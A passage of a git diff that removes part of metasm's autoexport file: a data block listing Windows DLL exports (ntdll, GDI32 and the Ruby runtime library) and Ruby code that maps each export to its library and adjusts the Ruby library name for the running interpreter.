ZwQuerySystemTime ZwQueryTimer - ZwQueryTimerResolution ZwQueryValueKey ZwQueryVirtualMemory ZwQueryVolumeInformationFile ZwQueueApcThread ZwRaiseException ZwRaiseHardError ZwReadFile - ZwReadFileScatter ZwReadRequestData ZwReadVirtualMemory ZwRegisterThreadTerminatePort ZwReleaseKeyedEvent ZwReleaseMutant ZwReleaseSemaphore - ZwRemoveIoCompletion ZwRemoveProcessDebug ZwRenameKey ZwReplaceKey ZwReplyPort ZwReplyWaitReceivePort ZwReplyWaitReceivePortEx ZwReplyWaitReplyPort - ZwRequestDeviceWakeup ZwRequestPort ZwRequestWaitReplyPort ZwRequestWakeupLatency ZwResetEvent ZwResetWriteWatch ZwRestoreKey ZwResumeProcess ZwResumeThread - ZwSaveKey ZwSaveKeyEx ZwSaveMergedKeys ZwSecureConnectPort ZwSetBootEntryOrder ZwSetBootOptions ZwSetContextThread ZwSetDebugFilterState - ZwSetDefaultHardErrorPort ZwSetDefaultLocale ZwSetDefaultUILanguage ZwSetEaFile ZwSetEvent ZwSetEventBoostPriority ZwSetHighEventPair ZwSetHighWaitLowEventPair - ZwSetInformationDebugObject ZwSetInformationFile ZwSetInformationJobObject ZwSetInformationKey ZwSetInformationObject ZwSetInformationProcess - ZwSetInformationThread ZwSetInformationToken ZwSetIntervalProfile ZwSetIoCompletion ZwSetLdtEntries ZwSetLowEventPair ZwSetLowWaitHighEventPair - ZwSetQuotaInformationFile ZwSetSecurityObject ZwSetSystemEnvironmentValue ZwSetSystemEnvironmentValueEx ZwSetSystemInformation ZwSetSystemPowerState - ZwSetSystemTime ZwSetThreadExecutionState ZwSetTimer ZwSetTimerResolution ZwSetUuidSeed ZwSetValueKey ZwSetVolumeInformationFile ZwShutdownSystem - ZwSignalAndWaitForSingleObject ZwStartProfile ZwStopProfile ZwSuspendProcess ZwSuspendThread ZwSystemDebugControl ZwTerminateJobObject ZwTerminateProcess - ZwTerminateThread ZwTestAlert ZwTraceEvent ZwTranslateFilePath ZwUnloadDriver ZwUnloadKey ZwUnloadKeyEx ZwUnlockFile ZwUnlockVirtualMemory ZwUnmapViewOfSection - ZwVdmControl ZwWaitForDebugEvent ZwWaitForKeyedEvent ZwWaitForMultipleObjects ZwWaitForSingleObject ZwWaitHighEventPair ZwWaitLowEventPair ZwWriteFile - ZwWriteFileGather ZwWriteRequestData ZwWriteVirtualMemory ZwYieldExecution _CIcos _CIlog _CIpow _CIsin _CIsqrt __isascii __iscsym __iscsymf __toascii _alldiv - _alldvrm _allmul _alloca_probe _allrem _allshl _allshr _atoi64 _aulldiv _aulldvrm _aullrem _aullshr _chkstk _fltused _ftol _i64toa _i64tow _itoa _itow _lfind - _ltoa _ltow _memccpy _memicmp _snprintf _snwprintf _splitpath _strcmpi _stricmp _strlwr _strnicmp _strupr _tolower _toupper _ui64toa _ui64tow _ultoa _ultow - _vsnprintf _vsnwprintf _wcsicmp _wcslwr _wcsnicmp _wcsupr _wtoi _wtoi64 _wtol abs atan atoi atol bsearch ceil cos fabs floor isalnum isalpha iscntrl isdigit - isgraph islower isprint ispunct isspace isupper iswalpha iswctype iswdigit iswlower iswspace iswxdigit isxdigit labs log mbstowcs memchr memcmp memcpy memmove - memset pow qsort sin sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr strtol strtoul - swprintf tan tolower toupper towlower towupper vDbgPrintEx vDbgPrintExWithPrefix vsprintf wcscat wcschr wcscmp wcscpy wcscspn wcslen wcsncat wcsncmp wcsncpy - wcspbrk wcsrchr wcsspn wcsstr wcstol wcstombs wcstoul -GDI32 - AbortDoc AbortPath AddFontMemResourceEx AddFontResourceA AddFontResourceExA AddFontResourceExW AddFontResourceTracking AddFontResourceW AngleArc - AnimatePalette AnyLinkedFonts Arc ArcTo BRUSHOBJ_hGetColorTransform BRUSHOBJ_pvAllocRbrush BRUSHOBJ_pvGetRbrush BRUSHOBJ_ulGetBrushColor BeginPath BitBlt - CLIPOBJ_bEnum CLIPOBJ_cEnumStart CLIPOBJ_ppoGetPath CancelDC CheckColorsInGamut ChoosePixelFormat Chord ClearBitmapAttributes ClearBrushAttributes - CloseEnhMetaFile CloseFigure CloseMetaFile ColorCorrectPalette ColorMatchToTarget CombineRgn CombineTransform CopyEnhMetaFileA CopyEnhMetaFileW CopyMetaFileA - CopyMetaFileW CreateBitmap CreateBitmapIndirect CreateBrushIndirect CreateColorSpaceA CreateColorSpaceW CreateCompatibleBitmap CreateCompatibleDC CreateDCA - CreateDCW CreateDIBPatternBrush CreateDIBPatternBrushPt CreateDIBSection CreateDIBitmap CreateDiscardableBitmap CreateEllipticRgn CreateEllipticRgnIndirect - CreateEnhMetaFileA CreateEnhMetaFileW CreateFontA CreateFontIndirectA CreateFontIndirectExA CreateFontIndirectExW CreateFontIndirectW CreateFontW - CreateHalftonePalette CreateHatchBrush CreateICA CreateICW CreateMetaFileA CreateMetaFileW CreatePalette CreatePatternBrush CreatePen CreatePenIndirect - CreatePolyPolygonRgn CreatePolygonRgn CreateRectRgn CreateRectRgnIndirect CreateRoundRectRgn CreateScalableFontResourceA CreateScalableFontResourceW - CreateSolidBrush DPtoLP DdEntry0 DdEntry10 DdEntry11 DdEntry12 DdEntry13 DdEntry14 DdEntry15 DdEntry16 DdEntry17 DdEntry18 DdEntry19 DdEntry1 DdEntry20 - DdEntry21 DdEntry22 DdEntry23 DdEntry24 DdEntry25 DdEntry26 DdEntry27 DdEntry28 DdEntry29 DdEntry2 DdEntry30 DdEntry31 DdEntry32 DdEntry33 DdEntry34 DdEntry35 - DdEntry36 DdEntry37 DdEntry38 DdEntry39 DdEntry3 DdEntry40 DdEntry41 DdEntry42 DdEntry43 DdEntry44 DdEntry45 DdEntry46 DdEntry47 DdEntry48 DdEntry49 DdEntry4 - DdEntry50 DdEntry51 DdEntry52 DdEntry53 DdEntry54 DdEntry55 DdEntry56 DdEntry5 DdEntry6 DdEntry7 DdEntry8 DdEntry9 DeleteColorSpace DeleteDC DeleteEnhMetaFile - DeleteMetaFile DeleteObject DescribePixelFormat DeviceCapabilitiesExA DeviceCapabilitiesExW DrawEscape Ellipse EnableEUDC EndDoc EndFormPage EndPage EndPath - EngAcquireSemaphore EngAlphaBlend EngAssociateSurface EngBitBlt EngCheckAbort EngComputeGlyphSet EngCopyBits EngCreateBitmap EngCreateClip - EngCreateDeviceBitmap EngCreateDeviceSurface EngCreatePalette EngCreateSemaphore EngDeleteClip EngDeletePalette EngDeletePath EngDeleteSemaphore - EngDeleteSurface EngEraseSurface EngFillPath EngFindResource EngFreeModule EngGetCurrentCodePage EngGetDriverName EngGetPrinterDataFileName EngGradientFill - EngLineTo EngLoadModule EngLockSurface EngMarkBandingSurface EngMultiByteToUnicodeN EngMultiByteToWideChar EngPaint EngPlgBlt EngQueryEMFInfo - EngQueryLocalTime EngReleaseSemaphore EngStretchBlt EngStretchBltROP EngStrokeAndFillPath EngStrokePath EngTextOut EngTransparentBlt EngUnicodeToMultiByteN - EngUnlockSurface EngWideCharToMultiByte EnumEnhMetaFile EnumFontFamiliesA EnumFontFamiliesExA EnumFontFamiliesExW EnumFontFamiliesW EnumFontsA EnumFontsW - EnumICMProfilesA EnumICMProfilesW EnumMetaFile EnumObjects EqualRgn Escape EudcLoadLinkW EudcUnloadLinkW ExcludeClipRect ExtCreatePen ExtCreateRegion - ExtEscape ExtFloodFill ExtSelectClipRgn ExtTextOutA ExtTextOutW FONTOBJ_cGetAllGlyphHandles FONTOBJ_cGetGlyphs FONTOBJ_pQueryGlyphAttrs FONTOBJ_pfdg - FONTOBJ_pifi FONTOBJ_pvTrueTypeFontFile FONTOBJ_pxoGetXform FONTOBJ_vGetInfo FillPath FillRgn FixBrushOrgEx FlattenPath FloodFill FontIsLinked FrameRgn - GdiAddFontResourceW GdiAddGlsBounds GdiAddGlsRecord GdiAlphaBlend GdiArtificialDecrementDriver GdiCleanCacheDC GdiComment GdiConsoleTextOut - GdiConvertAndCheckDC GdiConvertBitmap GdiConvertBitmapV5 GdiConvertBrush GdiConvertDC GdiConvertEnhMetaFile GdiConvertFont GdiConvertMetaFilePict - GdiConvertPalette GdiConvertRegion GdiConvertToDevmodeW GdiCreateLocalEnhMetaFile GdiCreateLocalMetaFilePict GdiDeleteLocalDC GdiDeleteSpoolFileHandle - GdiDescribePixelFormat GdiDllInitialize GdiDrawStream GdiEndDocEMF GdiEndPageEMF GdiEntry10 GdiEntry11 GdiEntry12 GdiEntry13 GdiEntry14 GdiEntry15 GdiEntry16 - GdiEntry1 GdiEntry2 GdiEntry3 GdiEntry4 GdiEntry5 GdiEntry6 GdiEntry7 GdiEntry8 GdiEntry9 GdiFixUpHandle GdiFlush GdiFullscreenControl GdiGetBatchLimit - GdiGetBitmapBitsSize GdiGetCharDimensions GdiGetCodePage GdiGetDC GdiGetDevmodeForPage GdiGetLocalBrush GdiGetLocalDC GdiGetLocalFont GdiGetPageCount - GdiGetPageHandle GdiGetSpoolFileHandle GdiGetSpoolMessage GdiGradientFill GdiInitSpool GdiInitializeLanguagePack GdiIsMetaFileDC GdiIsMetaPrintDC - GdiIsPlayMetafileDC GdiPlayDCScript GdiPlayEMF GdiPlayJournal GdiPlayPageEMF GdiPlayPrivatePageEMF GdiPlayScript GdiPrinterThunk GdiProcessSetup GdiQueryFonts - GdiQueryTable GdiRealizationInfo GdiReleaseDC GdiReleaseLocalDC GdiResetDCEMF GdiSetAttrs GdiSetBatchLimit GdiSetLastError GdiSetPixelFormat GdiSetServerAttr - GdiStartDocEMF GdiStartPageEMF GdiSwapBuffers GdiTransparentBlt GdiValidateHandle GetArcDirection GetAspectRatioFilterEx GetBitmapAttributes GetBitmapBits - GetBitmapDimensionEx GetBkColor GetBkMode GetBoundsRect GetBrushAttributes GetBrushOrgEx GetCharABCWidthsA GetCharABCWidthsFloatA GetCharABCWidthsFloatW - GetCharABCWidthsI GetCharABCWidthsW GetCharWidth32A GetCharWidth32W GetCharWidthA GetCharWidthFloatA GetCharWidthFloatW GetCharWidthI GetCharWidthInfo - GetCharWidthW GetCharacterPlacementA GetCharacterPlacementW GetClipBox GetClipRgn GetColorAdjustment GetColorSpace GetCurrentObject GetCurrentPositionEx - GetDCBrushColor GetDCOrgEx GetDCPenColor GetDIBColorTable GetDIBits GetDeviceCaps GetDeviceGammaRamp GetETM GetEUDCTimeStamp GetEUDCTimeStampExW - GetEnhMetaFileA GetEnhMetaFileBits GetEnhMetaFileDescriptionA GetEnhMetaFileDescriptionW GetEnhMetaFileHeader GetEnhMetaFilePaletteEntries - GetEnhMetaFilePixelFormat GetEnhMetaFileW GetFontAssocStatus GetFontData GetFontLanguageInfo GetFontResourceInfoW GetFontUnicodeRanges GetGlyphIndicesA - GetGlyphIndicesW GetGlyphOutline GetGlyphOutlineA GetGlyphOutlineW GetGlyphOutlineWow GetGraphicsMode GetHFONT GetICMProfileA GetICMProfileW GetKerningPairs - GetKerningPairsA GetKerningPairsW GetLayout GetLogColorSpaceA GetLogColorSpaceW GetMapMode GetMetaFileA GetMetaFileBitsEx GetMetaFileW GetMetaRgn - GetMiterLimit GetNearestColor GetNearestPaletteIndex GetObjectA GetObjectType GetObjectW GetOutlineTextMetricsA GetOutlineTextMetricsW GetPaletteEntries - GetPath GetPixel GetPixelFormat GetPolyFillMode GetROP2 GetRandomRgn GetRasterizerCaps GetRegionData GetRelAbs GetRgnBox GetStockObject GetStretchBltMode - GetStringBitmapA GetStringBitmapW GetSystemPaletteEntries GetSystemPaletteUse GetTextAlign GetTextCharacterExtra GetTextCharset GetTextCharsetInfo - GetTextColor GetTextExtentExPointA GetTextExtentExPointI GetTextExtentExPointW GetTextExtentExPointWPri GetTextExtentPoint32A GetTextExtentPoint32W - GetTextExtentPointA GetTextExtentPointI GetTextExtentPointW GetTextFaceA GetTextFaceAliasW GetTextFaceW GetTextMetricsA GetTextMetricsW GetTransform - GetViewportExtEx GetViewportOrgEx GetWinMetaFileBits GetWindowExtEx GetWindowOrgEx GetWorldTransform HT_Get8BPPFormatPalette HT_Get8BPPMaskPalette - IntersectClipRect InvertRgn IsValidEnhMetaRecord IsValidEnhMetaRecordOffExt LPtoDP LineDDA LineTo MaskBlt MirrorRgn ModifyWorldTransform MoveToEx NamedEscape - OffsetClipRgn OffsetRgn OffsetViewportOrgEx OffsetWindowOrgEx PATHOBJ_bEnum PATHOBJ_bEnumClipLines PATHOBJ_vEnumStart PATHOBJ_vEnumStartClipLines - PATHOBJ_vGetBounds PaintRgn PatBlt PathToRegion Pie PlayEnhMetaFile PlayEnhMetaFileRecord PlayMetaFile PlayMetaFileRecord PlgBlt PolyBezier PolyBezierTo - PolyDraw PolyPatBlt PolyPolygon PolyPolyline PolyTextOutA PolyTextOutW Polygon Polyline PolylineTo PtInRegion PtVisible QueryFontAssocStatus RealizePalette - RectInRegion RectVisible Rectangle RemoveFontMemResourceEx RemoveFontResourceA RemoveFontResourceExA RemoveFontResourceExW RemoveFontResourceTracking - RemoveFontResourceW ResetDCA ResetDCW ResizePalette RestoreDC RoundRect STROBJ_bEnum STROBJ_bEnumPositionsOnly STROBJ_bGetAdvanceWidths STROBJ_dwGetCodePage - STROBJ_vEnumStart SaveDC ScaleViewportExtEx ScaleWindowExtEx SelectBrushLocal SelectClipPath SelectClipRgn SelectFontLocal SelectObject SelectPalette - SetAbortProc SetArcDirection SetBitmapAttributes SetBitmapBits SetBitmapDimensionEx SetBkColor SetBkMode SetBoundsRect SetBrushAttributes SetBrushOrgEx - SetColorAdjustment SetColorSpace SetDCBrushColor SetDCPenColor SetDIBColorTable SetDIBits SetDIBitsToDevice SetDeviceGammaRamp SetEnhMetaFileBits - SetFontEnumeration SetGraphicsMode SetICMMode SetICMProfileA SetICMProfileW SetLayout SetLayoutWidth SetMagicColors SetMapMode SetMapperFlags - SetMetaFileBitsEx SetMetaRgn SetMiterLimit SetPaletteEntries SetPixel SetPixelFormat SetPixelV SetPolyFillMode SetROP2 SetRectRgn SetRelAbs SetStretchBltMode - SetSystemPaletteUse SetTextAlign SetTextCharacterExtra SetTextColor SetTextJustification SetViewportExtEx SetViewportOrgEx SetVirtualResolution - SetWinMetaFileBits SetWindowExtEx SetWindowOrgEx SetWorldTransform StartDocA StartDocW StartFormPage StartPage StretchBlt StretchDIBits StrokeAndFillPath - StrokePath SwapBuffers TextOutA TextOutW TranslateCharsetInfo UnloadNetworkFonts UnrealizeObject UpdateColors UpdateICMRegKeyA UpdateICMRegKeyW WidenPath - XFORMOBJ_bApplyXform XFORMOBJ_iGetXform XLATEOBJ_cGetPalette XLATEOBJ_hGetColorTransform XLATEOBJ_iXlate XLATEOBJ_piVector bInitSystemAndFontsDirectoriesW - bMakePathNameW cGetTTFFromFOT gdiPlaySpoolStream -msvcrt-ruby18 - GetCurrentThreadHandle Init_Array Init_Bignum Init_Binding Init_Comparable Init_Dir Init_Enumerable Init_Exception Init_File Init_GC Init_Hash Init_IO - Init_Math Init_Numeric Init_Object Init_Precision Init_Proc Init_Random Init_Range Init_Regexp Init_String Init_Struct Init_Thread Init_Time Init_eval - Init_ext Init_heap Init_load Init_marshal Init_pack Init_process Init_signal Init_stack Init_sym Init_syserr Init_var_tables Init_version NtInitialize - NtSyncProcess SafeFree acosh asinh atanh chown crypt des_cipher des_setkey dln_find_exe dln_find_file dln_load do_aspawn do_spawn eaccess encrypt endhostent - endnetent endprotoent endservent erf erfc fcntl flock getegid geteuid getgid getlogin getnetbyaddr getnetbyname getnetent getprotoent getservent gettimeofday - getuid io_fread ioctl is_ruby_native_thread kill link pipe_exec rb_Array rb_Float rb_Integer rb_String rb_add_event_hook rb_add_method rb_alias - rb_alias_variable rb_any_to_s rb_apply rb_argv rb_argv0 rb_ary_aref rb_ary_assoc rb_ary_clear rb_ary_cmp rb_ary_concat rb_ary_delete rb_ary_delete_at - rb_ary_dup rb_ary_each rb_ary_entry rb_ary_freeze rb_ary_includes rb_ary_join rb_ary_new rb_ary_new2 rb_ary_new3 rb_ary_new4 rb_ary_plus rb_ary_pop - rb_ary_push rb_ary_rassoc rb_ary_reverse rb_ary_shift rb_ary_sort rb_ary_sort_bang rb_ary_store rb_ary_to_ary rb_ary_to_s rb_ary_unshift rb_assoc_new rb_attr - rb_attr_get rb_autoload rb_autoload_load rb_autoload_p rb_backref_get rb_backref_set rb_backtrace rb_big2dbl rb_big2ll rb_big2long rb_big2str rb_big2ull - rb_big2ulong rb_big2ulong_pack rb_big_2comp rb_big_and rb_big_clone rb_big_divmod rb_big_lshift rb_big_minus rb_big_mul rb_big_norm rb_big_or rb_big_plus - rb_big_pow rb_big_rand rb_big_xor rb_block_given_p rb_block_proc rb_bug rb_cArray rb_cBignum rb_cClass rb_cData rb_cDir rb_cFalseClass rb_cFile rb_cFixnum - rb_cFloat rb_cHash rb_cIO rb_cInteger rb_cModule rb_cNilClass rb_cNumeric rb_cObject rb_cProc rb_cRange rb_cRegexp rb_cString rb_cStruct rb_cSymbol rb_cThread - rb_cTime rb_cTrueClass rb_call_inits rb_call_super rb_catch rb_check_array_type rb_check_convert_type rb_check_frozen rb_check_inheritable rb_check_safe_obj - rb_check_safe_str rb_check_string_type rb_check_type rb_class2name rb_class_boot rb_class_inherited rb_class_inherited_p rb_class_init_copy - rb_class_instance_methods rb_class_name rb_class_new rb_class_new_instance rb_class_path rb_class_private_instance_methods rb_class_protected_instance_methods - rb_class_public_instance_methods rb_class_real rb_class_tbl rb_clear_cache rb_clear_cache_by_class rb_cmperr rb_cmpint rb_compile_cstr rb_compile_error - rb_compile_error_append rb_compile_file rb_compile_string rb_const_defined rb_const_defined_at rb_const_defined_from rb_const_get rb_const_get_at - rb_const_get_from rb_const_list rb_const_set rb_convert_type rb_copy_generic_ivar rb_cstr2inum rb_cstr_to_dbl rb_cstr_to_inum rb_cv_get rb_cv_set - rb_cvar_defined rb_cvar_get rb_cvar_set rb_data_object_alloc rb_dbl2big rb_dbl_cmp rb_default_rs rb_deferr rb_define_alias rb_define_alloc_func rb_define_attr - rb_define_class rb_define_class_id rb_define_class_under rb_define_class_variable rb_define_const rb_define_global_const rb_define_global_function - rb_define_hooked_variable rb_define_method rb_define_method_id rb_define_module rb_define_module_function rb_define_module_id rb_define_module_under - rb_define_private_method rb_define_protected_method rb_define_readonly_variable rb_define_singleton_method rb_define_variable rb_define_virtual_variable - rb_detach_process rb_disable_super rb_dvar_curr rb_dvar_defined rb_dvar_push rb_dvar_ref rb_eArgError rb_eEOFError rb_eException rb_eFatal - rb_eFloatDomainError rb_eIOError rb_eIndexError rb_eInterrupt rb_eLoadError rb_eNameError rb_eNoMemError rb_eNoMethodError rb_eNotImpError rb_eRangeError - rb_eRuntimeError rb_eScriptError rb_eSecurityError rb_eSignal rb_eStandardError rb_eSyntaxError rb_eSystemCallError rb_eSystemExit rb_eTypeError - rb_eZeroDivError rb_each rb_enable_super rb_ensure rb_env_path_tainted rb_eof_error rb_eql rb_equal rb_error_frozen rb_eval_cmd rb_eval_string - rb_eval_string_protect rb_eval_string_wrap rb_exc_fatal rb_exc_new rb_exc_new2 rb_exc_new3 rb_exc_raise rb_exec_end_proc rb_exit rb_extend_object rb_f_abort - rb_f_exec rb_f_exit rb_f_global_variables rb_f_kill rb_f_lambda rb_f_require rb_f_sprintf rb_f_trace_var rb_f_untrace_var rb_fatal rb_fdopen rb_file_const - rb_file_expand_path rb_file_open rb_file_s_expand_path rb_file_sysopen rb_find_file rb_find_file_ext rb_fix2int rb_fix2str rb_float_new rb_fopen - rb_frame_last_func rb_free_generic_ivar rb_frozen_class_p rb_fs rb_funcall rb_funcall2 rb_funcall3 rb_funcall_rescue rb_gc rb_gc_abort_threads - rb_gc_call_finalizer_at_exit rb_gc_copy_finalizer rb_gc_disable rb_gc_enable rb_gc_finalize_deferred rb_gc_force_recycle rb_gc_mark rb_gc_mark_frame - rb_gc_mark_global_tbl rb_gc_mark_locations rb_gc_mark_maybe rb_gc_mark_parser rb_gc_mark_threads rb_gc_mark_trap_list rb_gc_register_address rb_gc_stack_start - rb_gc_start rb_gc_unregister_address rb_generic_ivar_table rb_get_kcode rb_getc rb_gets rb_glob rb_global_entry rb_global_variable rb_globi rb_gv_get - rb_gv_set rb_gvar_defined rb_gvar_get rb_gvar_set rb_hash rb_hash_aref rb_hash_aset rb_hash_delete rb_hash_delete_if rb_hash_foreach rb_hash_freeze - rb_hash_new rb_hash_reject_bang rb_hash_select rb_hash_values_at rb_id2name rb_id_attrset rb_include_module rb_inspect rb_inspecting_p rb_int2big rb_int2inum - rb_intern rb_interrupt rb_invalid_str rb_io_addstr rb_io_binmode rb_io_check_closed rb_io_check_initialized rb_io_check_readable rb_io_check_writable - rb_io_close rb_io_eof rb_io_flags_mode rb_io_fptr_finalize rb_io_fread rb_io_fwrite rb_io_getc rb_io_gets rb_io_mode_flags rb_io_modenum_flags rb_io_print - rb_io_printf rb_io_puts rb_io_synchronized rb_io_taint_check rb_io_unbuffered rb_io_ungetc rb_io_wait_readable rb_io_wait_writable rb_io_write rb_is_class_id - rb_is_const_id rb_is_instance_id rb_is_junk_id rb_is_local_id rb_iter_break rb_iterate rb_iterator_p rb_iv_get rb_iv_set rb_ivar_defined rb_ivar_get - rb_ivar_set rb_jump_tag rb_kcode rb_last_status rb_lastline_get rb_lastline_set rb_ll2big rb_ll2inum rb_load rb_load_fail rb_load_file rb_load_path - rb_load_protect rb_loaderror rb_mComparable rb_mEnumerable rb_mErrno rb_mFileTest rb_mGC rb_mKernel rb_mMath rb_mPrecision rb_mProcGID rb_mProcID_Syscall - rb_mProcUID rb_mProcess rb_make_metaclass rb_mark_end_proc rb_mark_generic_ivar rb_mark_generic_ivar_tbl rb_mark_hash rb_mark_tbl rb_marshal_dump - rb_marshal_load rb_match_busy rb_mem_clear rb_memcicmp rb_memcmp rb_memerror rb_memsearch rb_method_boundp rb_method_node rb_mod_ancestors - rb_mod_class_variables rb_mod_const_at rb_mod_const_missing rb_mod_const_of rb_mod_constants rb_mod_include_p rb_mod_included_modules rb_mod_init_copy - rb_mod_module_eval rb_mod_name rb_mod_remove_const rb_mod_remove_cvar rb_module_new rb_name_class rb_name_error rb_need_block rb_newobj rb_node_newnode - rb_notimplement rb_num2dbl rb_num2fix rb_num2int rb_num2ll rb_num2long rb_num2ull rb_num2ulong rb_num_coerce_bin rb_num_coerce_cmp rb_num_coerce_relop - rb_num_zerodiv rb_obj_alloc rb_obj_as_string rb_obj_call_init rb_obj_class rb_obj_classname rb_obj_clone rb_obj_dup rb_obj_freeze rb_obj_id rb_obj_id_obsolete - rb_obj_infect rb_obj_init_copy rb_obj_instance_eval rb_obj_instance_variables rb_obj_is_instance_of rb_obj_is_kind_of rb_obj_remove_instance_variable - rb_obj_respond_to rb_obj_singleton_methods rb_obj_taint rb_obj_tainted rb_obj_type rb_obj_untaint rb_origenviron rb_output_fs rb_output_rs rb_p - rb_parser_append_print rb_parser_while_loop rb_path2class rb_path_check rb_path_end rb_path_last_separator rb_path_next rb_path_skip_prefix rb_proc_exec - rb_proc_new rb_proc_times rb_progname rb_prohibit_interrupt rb_protect rb_protect_inspect rb_provide rb_provided rb_quad_pack rb_quad_unpack rb_raise - rb_range_beg_len rb_range_new rb_read_check rb_read_pending rb_reg_adjust_startpos rb_reg_eqq rb_reg_last_match rb_reg_match rb_reg_match2 rb_reg_match_last - rb_reg_match_post rb_reg_match_pre rb_reg_mbclen2 rb_reg_new rb_reg_nth_defined rb_reg_nth_match rb_reg_options rb_reg_quote rb_reg_regcomp rb_reg_regsub - rb_reg_search rb_remove_event_hook rb_remove_method rb_require rb_require_safe rb_rescue rb_rescue2 rb_reserved_word rb_respond_to rb_rs rb_scan_args - rb_secure rb_secure_update rb_set_class_path rb_set_end_proc rb_set_kcode rb_set_safe_level rb_singleton_class rb_singleton_class_attached - rb_singleton_class_clone rb_source_filename rb_stderr rb_stdin rb_stdout rb_str2cstr rb_str2inum rb_str_append rb_str_associate rb_str_associated - rb_str_buf_append rb_str_buf_cat rb_str_buf_cat2 rb_str_buf_new rb_str_buf_new2 rb_str_cat rb_str_cat2 rb_str_cmp rb_str_concat rb_str_dump rb_str_dup - rb_str_dup_frozen rb_str_freeze rb_str_hash rb_str_inspect rb_str_intern rb_str_locktmp rb_str_modify rb_str_new rb_str_new2 rb_str_new3 rb_str_new4 - rb_str_new5 rb_str_plus rb_str_resize rb_str_setter rb_str_split rb_str_substr rb_str_times rb_str_to_dbl rb_str_to_inum rb_str_to_str rb_str_unlocktmp - rb_str_update rb_str_upto rb_string_value rb_string_value_cstr rb_string_value_ptr rb_struct_alloc rb_struct_aref rb_struct_aset rb_struct_define - rb_struct_getmember rb_struct_iv_get rb_struct_members rb_struct_new rb_struct_s_members rb_svar rb_sym_all_symbols rb_symname_p rb_sys_fail rb_sys_warning - rb_syswait rb_tainted_str_new rb_tainted_str_new2 rb_thread_alone rb_thread_atfork rb_thread_create rb_thread_critical rb_thread_current rb_thread_fd_close - rb_thread_fd_writable rb_thread_group rb_thread_interrupt rb_thread_kill rb_thread_list rb_thread_local_aref rb_thread_local_aset rb_thread_main - rb_thread_pending rb_thread_polling rb_thread_run rb_thread_schedule rb_thread_select rb_thread_signal_exit rb_thread_signal_raise rb_thread_sleep - rb_thread_sleep_forever rb_thread_stop rb_thread_tick rb_thread_trap_eval rb_thread_wait_fd rb_thread_wait_for rb_thread_wakeup rb_throw rb_time_interval - rb_time_new rb_time_timeval rb_to_id rb_to_int rb_trap_exec rb_trap_exit rb_trap_immediate rb_trap_pending rb_trap_restore_mask rb_uint2big rb_uint2inum - rb_ull2big rb_ull2inum rb_undef rb_undef_alloc_func rb_undef_method rb_values_at rb_w32_accept rb_w32_asynchronize rb_w32_bind rb_w32_close rb_w32_closedir - rb_w32_cmdvector rb_w32_connect rb_w32_enter_critical rb_w32_fclose rb_w32_fdclr rb_w32_fdisset rb_w32_fdset rb_w32_free_environ rb_w32_get_environ - rb_w32_get_osfhandle rb_w32_getc rb_w32_getcwd rb_w32_getenv rb_w32_gethostbyaddr rb_w32_gethostbyname rb_w32_gethostname rb_w32_getpeername rb_w32_getpid - rb_w32_getprotobyname rb_w32_getprotobynumber rb_w32_getservbyname rb_w32_getservbyport rb_w32_getsockname rb_w32_getsockopt rb_w32_ioctlsocket rb_w32_isatty - rb_w32_leave_critical rb_w32_listen rb_w32_main_context rb_w32_mkdir rb_w32_opendir rb_w32_osid rb_w32_putc rb_w32_readdir rb_w32_recv rb_w32_recvfrom - rb_w32_rename rb_w32_rewinddir rb_w32_rmdir rb_w32_seekdir rb_w32_select rb_w32_send rb_w32_sendto rb_w32_setsockopt rb_w32_shutdown rb_w32_sleep - rb_w32_snprintf rb_w32_socket rb_w32_stat rb_w32_strerror rb_w32_telldir rb_w32_times rb_w32_unlink rb_w32_utime rb_w32_vsnprintf rb_waitpid rb_warn - rb_warning rb_with_disable_interrupt rb_write_error rb_write_error2 rb_yield rb_yield_splat rb_yield_values re_mbctab re_set_syntax ruby__end__seen - ruby_add_suffix ruby_class ruby_cleanup ruby_current_node ruby_debug ruby_digitmap ruby_dln_librefs ruby_dyna_vars ruby_errinfo ruby_eval_tree - ruby_eval_tree_begin ruby_exec ruby_finalize ruby_frame ruby_getcwd ruby_glob ruby_globi ruby_ignorecase ruby_in_compile ruby_in_eval ruby_incpush ruby_init - ruby_init_loadpath ruby_inplace_mode ruby_nerrs ruby_options ruby_parser_stack_on_heap ruby_platform ruby_process_options ruby_prog_init ruby_qsort - ruby_re_adjust_startpos ruby_re_compile_fastmap ruby_re_compile_pattern ruby_re_copy_registers ruby_re_free_pattern ruby_re_free_registers ruby_re_match - ruby_re_mbcinit ruby_re_search ruby_re_set_casetable ruby_release_date ruby_run ruby_safe_level ruby_scan_hex ruby_scan_oct ruby_scope ruby_script - ruby_set_argv ruby_set_current_source ruby_set_stack_size ruby_setenv ruby_show_copyright ruby_show_version ruby_signal_name ruby_sourcefile ruby_sourceline - ruby_stack_check ruby_stack_length ruby_stop ruby_strdup ruby_strtod ruby_top_self ruby_unsetenv ruby_verbose ruby_version ruby_xcalloc ruby_xfree - ruby_xmalloc ruby_xrealloc ruby_yychar ruby_yydebug ruby_yylval ruby_yyparse setgid sethostent setkey setnetent setprotoent setservent setuid st_add_direct - st_cleanup_safe st_copy st_delete st_delete_safe st_foreach st_foreach_safe st_free_table st_init_numtable st_init_numtable_with_size st_init_strtable - st_init_strtable_with_size st_init_table st_init_table_with_size st_insert st_lookup wait waitpid yyerrflag yynerrs yyval -EOL - curlibname = nil - data.each_line { |l| - list = l.split - curlibname = list.shift if l[0, 1] != ' ' - list.each { |export| EXPORT[export] = curlibname } - } - - # update the autoexport data so that it refers to a specific ruby library - def self.patch_rubylib_name(newname) - EXPORT.each_key { |export| - EXPORT[export] = newname if EXPORT[export] =~ /ruby/ - } - end - - # patch the ruby library name based on the current interpreter - # so that we can eg compile the dynldr binary module for windows - # (we need the correct name in the import directory to avoid loading - # an incorrect lib in the current ruby process) - # this also means we can't rely on dynldr to find the ruby lib name - def self.patch_rubylib_to_current_interpreter - #if OS.current == WinOS and pr = WinOS.find_process(Process.pid) - # rubylib = pr.modules[1..-1].find { |m| m.path =~ /ruby/ } - #end - - # we could also make a shellcode ruby module to fetch it from - # the PEB, but it would need too much hacks to communicate back - # or create a new process to debug&patch us ? - - # we'll simply use a regexp now, but this won't handle unknown - # interpreter versions.. - # TODO mingw, cygwin, x64... - if RUBY_PLATFORM == 'i386-mswin32' and RUBY_VERSION >= '1.9' - patch_rubylib_name("msvcrt-ruby#{RUBY_VERSION.gsub('.', '')}") - end - end - - patch_rubylib_to_current_interpreter -end -end - diff --git a/lib/metasm/metasm/parse.rb b/lib/metasm/metasm/parse.rb 